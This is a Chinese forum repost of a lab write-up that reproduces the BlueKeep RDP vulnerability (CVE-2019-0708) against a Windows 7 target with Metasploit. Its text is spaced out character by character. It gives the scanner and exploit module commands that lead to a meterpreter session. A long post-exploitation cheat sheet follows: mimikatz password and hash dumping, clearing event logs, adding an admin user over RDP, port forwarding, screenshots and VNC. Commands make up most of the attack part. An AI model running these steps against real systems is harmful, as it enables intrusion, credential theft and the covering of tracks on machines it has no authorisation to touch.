搜索

[20358] 2020-08-11_【漏洞复现】CVE-2019-0708漏洞复现

文档创建者：s7ckTeam
浏览次数：49
最后更新：2025-01-18
2020-08-11_【漏洞复现】CVE-2019-0708漏洞复现 【 漏 洞 复 现 】 C V E - 2 0 1 9 - 0 7 0 8 漏 洞 复 现 p r 0 u d   K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 0 8 - 1 1 0 x 0 0 漏 洞 描 述 漏 洞 描 述 W i n d o w s 再 次 被 曝 出 一 个 破 坏 力 巨 大 的 高 危 远 程 漏 洞 C V E - 2 0 1 9 - 0 7 0 8 。 C V E - 2 0 1 9 - 0 7 0 8 是 R D P 协 议 的 安 全 漏 洞 ， 具 有 蠕 虫 功 能 ， 因 此 危 害 很 大 。 攻 击 者 一 旦 成 功 利 用 该 漏 洞 ， 便 可 以 在 目 标 系 统 上 执 行 任 意 代 码 ， 包 括 获 取 敏 感 信 息 、 执 行 远 程 代 码 、 发 起 拒 绝 服 务 攻 击 等 等 攻 击 行 为 。 0 x 0 1 受 影 响 的 操 作 系 统 受 影 响 的 操 作 系 统 ·   W i n d o w s   2 0 0 3 ·   W i n d o w s   X P ·   W i n d o w s   7 ·   W i n d o w s   S e r v e r   2 0 0 8 · W i n d o w s   S e r v e r   2 0 0 8   R 2 0 x 0 2 复 现 环 境 复 现 环 境 攻 击 机 ： L i n u x   k a l i   2 0 2 0 . 2 （ I P ： 1 9 2 . 1 6 8 . 6 1 . 1 5 8 ）   靶 机 ： W i n d o w s   7   X 6 4   （ I P ： 1 9 2 . 1 6 8 . 6 1 . 1 3 9 ） 0 x 0 3 复 现 过 程 复 现 过 程 一 、 进 入 一 、 进 入 M e t a s p l o i t 框 架 框 架 1 、 在 k a l i 终 端 输 入 m s f c o n s o l e 进 入 M e t a s p l o i t ， 输 入 s e a r c h   C V E - 2 0 1 9 - 0 7 0 8
搜 索 C V E - 2 0 1 9 - 0 7 0 8 可 用 模 块 a u x i l i a r y / s c a n n e r / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p 模 块 为 扫 描 模 块 ； e x p l o i t / w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e 模 块 为 攻 击 模 块 ； 二 、 扫 描 目 标 主 机 是 否 存 在 漏 洞 二 、 扫 描 目 标 主 机 是 否 存 在 漏 洞 1 、 加 载 扫 描 模 块 ； 2 、 查 看 模 块 中 所 有 的 配 置 参 数 ； u s e   a u x i l i a r y / s c a n n e r / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p s h o w   o p t i o n s
                                3 、 设 置 目 标 主 机 I P ； 4 、 执 行 扫 描 模 块 ， 经 检 测 存 在 漏 洞 ；                                                             三 、 利 用 攻 击 模 块 进 行 渗 透 测 试 三 、 利 用 攻 击 模 块 进 行 渗 透 测 试 1 、 加 载 攻 击 模 块 ；           2 、 查 看 模 块 中 所 有 的 配 置 参 数 ；                             s e t   R H O S T S   1 9 2 . 1 6 8 . 6 1 . 1 3 9 r u n / e x p l o i t   # 两 个 命 令 均 可 执 行   u s e   e x p l o i t / w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e   s h o w   o p t i o n s
                                3 、 设 置 目 标 主 机 I P ； 4 、 查 看 渗 透 攻 击 所 有 支 持 的 目 标 平 台 ， 并 且 指 定 目 标 的 操 作 系 统 以 及 补 丁 类 型 。 5 、 e x p l o i t 执 行 攻 击 ， 得 到 一 个 m e t e r p r e t e r 会 话 s e t   R H O S T S   1 9 2 . 1 6 8 . 6 1 . 1 3 9   m s f 5   e x p l o i t ( w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e )   >   s h o w   t a r g e t s   E x p l o i t   t a r g e t s :             I d     N a m e         - -     - - - -         0       A u t o m a t i c   t a r g e t i n g   v i a   f i n g e r p r i n t i n g         1       W i n d o w s   7   S P 1   /   2 0 0 8   R 2   ( 6 . 1 . 7 6 0 1   x 6 4 )         2       W i n d o w s   7   S P 1   /   2 0 0 8   R 2   ( 6 . 1 . 7 6 0 1   x 6 4   -   V i r t u a l b o x   6 )         3       W i n d o w s   7   S P 1   /   2 0 0 8   R 2   ( 6 . 1 . 7 6 0 1   x 6 4   -   V M W a r e   1 4 )         4       W i n d o w s   7   S P 1   /   2 0 0 8   R 2   ( 6 . 1 . 7 6 0 1   x 6 4   -   V M W a r e   1 5 )         5       W i n d o w s   7   S P 1   /   2 0 0 8   R 2   ( 6 . 1 . 7 6 0 1   x 6 4   -   V M W a r e   1 5 . 1 )         6       W i n d o w s   7   S P 1   /   2 0 0 8   R 2   ( 6 . 1 . 7 6 0 1   x 6 4   -   H y p e r - V )         7       W i n d o w s   7   S P 1   /   2 0 0 8   R 2   ( 6 . 1 . 7 6 0 1   x 6 4   -   A W S )         8       W i n d o w s   7   S P 1   /   2 0 0 8   R 2   ( 6 . 1 . 7 6 0 1   x 6 4   -   Q E M U / K V M ) m s f 5   e x p l o i t ( w i n d o w s / r d p / c v e _ 2 0 1 9 _ 0 7 0 8 _ b l u e k e e p _ r c e )   >   s e t   t a r g e t   1 t a r g e t   = >   1
四 、 后 渗 透 之 四 、 后 渗 透 之 m e t e r p r e t e r 常 用 命 令 常 用 命 令 1 、 基 本 系 统 命 令 2 、 文 件 命 令 3 . 抓 取 密 码 4 . g e t g u i 命 令 & e n a b l e _ r d p s e s s i o n s                                         # s e s s i o n s   - h   查 看 帮 助 s e s s i o n s   - i   < I D 值 >                           # 进 入 会 话       - k   杀 死 会 话 b a c k g r o u d                                         # 将 当 前 会 话 放 置 后 台 r u n                                                         # 执 行 模 块 输 入 r u n   t a b 键 按 两 次 列 出 已 有 脚 本 i n f o                                                 # 查 看 已 有 模 块 信 息 g e t u i d                                                 # 查 看 权 限 g e t p i d                                                 # 获 取 当 前 进 程 的 p i d s y s i n f o                                                 # 查 看 目 标 机 系 统 信 息 p s                                                         # 查 看 当 前 活 跃 进 程         k i l l < P I D 值 >   杀 死 进 程 i d l e t i m e                                         # 查 看 目 标 机 闲 置 时 间 r e b o o t / s h u t d o w n                                 # 重 启 / 关 机 s h e l l                                                 # 进 入 目 标 机 c m d c l e a r a v                                                 # 清 除 w i n d o w s 中 的 应 用 程 序 日 志 l o a d / u s e                                         # 加 载 模 块 d o w n l o a d                 # 下 载 文 件       d o w n l o a d   c : f l a g . t x t u p l o a d                           # 上 传 文 件         u p l a o d   f l a g . t x t   c : f l a g c a t                                 # 查 看 文 件 内 容         c a t   f l a g . t x t d e l                                 # 删 除 指 定 文 件         d e l   c : f l a g . t x t l o a d   m i m i k a t z                 # 加 载 m i m i k a t z 模 块 k e r b e r o s                         # 获 取 明 文 密 码 t s p k g                                 # 获 取 明 文 密 码 w d i g e s t                                 # 获 取 密 码   跟 k e r b e r o s 相 同 h a s h d u m p                         # 获 取 哈 希 值 m i m i k a t z _ c o m m a n d   - f   s a m d u m p : : h a s h e s                 # 获 取 哈 希 值 m i m i k a t z _ c o m m a n d   - f   s e k u r l s a : : s e a r c h P a s s w p r d s                 # 获 取 明 文 密 码 r u n   g e t g u i   - h         # 查 看 帮 助 r u n   g e t g u i   - e         # 开 启 远 程 桌 面 r u n   g e t g u i   - u   a d m i n   - p   a d m i n         # 添 加 用 户 r u n   g e t g u i   - f   1 3 1 4   - e         # 3 3 8 9 端 口 转 发 为 1 3 1 4
5 、 网 络 命 令 6 、 远 程 桌 面 ▼ 往 期 精 彩 回 顾 ▼ 【 二 进 制 安 全 】 蠕 虫 样 本 分 析 【 w e b 安 全 】 记 奇 安 信 “ 渗 透 测 试 ” 培 训 【 系 统 分 享 】 a n h u n s e c 靶 场 练 习 系 统 E N D r u n   p o s t / w i n d o w s / m a n a g e / e n a b l e _ r d p         # 开 启 远 程 桌 面 r u n   p o s t / w i n d o w s / m a n a g e / e n a b l e _ r d p   U S E R N A M E = a d m i n   P A S S W O R D = a d m i n   # 添 加 用 户 r u n   p o s t / w i n d o w s / m a n a g e / e n a b l e _ r d p   F O R W A R D = t r u e   L P O R T = 1 3 1 4     # 将 3 3 8 9 端 口 转 发 到 1 3 1 4 i p c o n f i g / i f c o n f i g                 # 查 看 I P n e t s t a t                                         # 查 看 端 口 r o u t e                                         # 查 看 路 由 g e t p r o x y                                 # 查 看 代 理 信 息 e n u m d e s k t o p s         # 查 看 可 用 的 桌 面 g e t d e s k t o p                 # 获 取 当 前 m e t e r p r e t e r   关 联 的 桌 面 s e t _ d e s k t o p                 # 设 置 m e t e r p r e t e r 关 联 的 桌 面     - h 查 看 帮 助 s c r e e n s h o t                 # 截 屏 u s e   e s p i a                 # 或 者 使 用 e s p i a 模 块 截 屏     然 后 输 入 s c r e e n g r a b r u n   v n c                         # 使 用 v n c 远 程 桌 面 连 接 r d e s k t o p                 # 远 程 桌 面         r d e s k t o p   + i p 需 要 在 终 端 输 入

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理